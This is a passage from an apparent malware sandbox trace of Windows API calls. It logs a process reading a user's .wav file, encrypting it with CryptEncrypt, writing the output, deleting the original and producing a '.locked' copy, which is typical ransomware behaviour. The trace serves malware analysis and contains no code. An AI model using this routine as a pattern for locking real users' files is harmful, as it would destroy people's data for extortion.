Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.170] CryptGenRandom (in: hProv=0x4396b48, dwLen=0x10, pbBuffer=0x6a4e264 | out: pbBuffer=0x6a4e264) returned 1 [0125.170] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.170] CryptDuplicateKey (in: hKey=0x8e849b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84bf8) returned 1 [0125.170] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.170] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x4, pbData=0x6a4f610*=0x1, dwFlags=0x0) returned 1 [0125.170] CryptSetKeyParam (hKey=0x8e84bf8, dwParam=0x1, pbData=0x6a4f5dc, dwFlags=0x0) returned 1 [0125.171] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.171] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.171] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.171] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.171] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.171] ReadFile (in: hFile=0x874, lpBuffer=0x6a52b60, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6a52b60*, lpNumberOfBytesRead=0x99ae9fc*=0xbc2b, lpOverlapped=0x0) returned 1 [0125.172] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a66b6c*, pdwDataLen=0x99ae9f0*=0xbc20, dwBufLen=0xbc20 | out: pbData=0x6a66b6c*, pdwDataLen=0x99ae9f0*=0xbc20) returned 1 [0125.172] WriteFile (in: hFile=0x878, lpBuffer=0x6a4e374*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6a4e374*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0125.173] WriteFile (in: hFile=0x878, lpBuffer=0x6a67b58*, nNumberOfBytesToWrite=0xac34, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6a67b58*, lpNumberOfBytesWritten=0x99ae9d4*=0xac34, lpOverlapped=0x0) returned 1 [0125.174] ReadFile (in: hFile=0x874, lpBuffer=0x6a52b60, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x6a52b60*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0125.174] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a72800*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x6a72800*, pdwDataLen=0x99aea50*=0x10) returned 1 [0125.174] CryptEncrypt (in: hKey=0x8e84bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a72834*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6a72834*, pdwDataLen=0x99aea58*=0x10) returned 1 [0125.174] WriteFile (in: hFile=0x878, lpBuffer=0x6a4e374*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6a4e374*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0125.175] CloseHandle (hObject=0x878) returned 1 [0125.181] CloseHandle (hObject=0x874) returned 1 [0125.182] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.182] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.182] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.182] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.182] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.183] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0125.184] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.184] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.184] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0125.184] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.184] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0125.185] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.185] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0125.185] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.185] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0125.185] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.185] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0125.185] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.185] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0125.185] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.185] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0125.185] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.185] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0125.186] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.186] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0125.186] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.186] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0125.186] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-")) returned 0x10 [0125.186] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-")) returned 0x10 [0125.187] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0125.187] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-", lpFilePart=0x0) returned 0x3f [0125.187] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0125.187] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.187] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.188] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0125.188] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.188] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav\\", lpFilePart=0x0) returned 0x57 [0125.188] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0125.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0125.188] CoTaskMemAlloc (cb=0x404) returned 0x8e841e0 [0125.188] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8e841e0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0125.188] CoTaskMemFree (pv=0x8e841e0) [0125.189] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 0x20 [0125.189] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.189] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0125.190] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav"), fInfoLevelId=0x0, lpFileInformation=0x6a8c498 | out: lpFileInformation=0x6a8c498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97e50f0, ftCreationTime.dwHighDateTime=0x1d4ac8a, ftLastAccessTime.dwLowDateTime=0xe5526950, ftLastAccessTime.dwHighDateTime=0x1d49fd9, ftLastWriteTime.dwLowDateTime=0xe5526950, ftLastWriteTime.dwHighDateTime=0x1d49fd9, nFileSizeHigh=0x0, nFileSizeLow=0xbc2b)) returned 1 [0125.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0125.190] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav")) returned 1 [0125.192] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.192] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.192] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.192] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.192] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav.locked")) returned 0x20 [0125.194] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\teoflkjttv9-\\ewenjq-2d0tacd6ire.wav.locked")) returned 0x20 [0125.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", lpFilePart=0x0) returned 0x5d [0125.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav.locked", lpFilePart=0x0) returned 0x5d [0125.194] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\TeoFlkJTTv9-\\EwENjQ-2d0tAcd6ire.wav", lpFilePart=0x0) returned 0x56 [0125.195] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.195] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.195] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x61, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.195] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.197] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x62, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.197] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.197] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x63, [1]=0x17, [2]=0x30, [3]=0x4a, 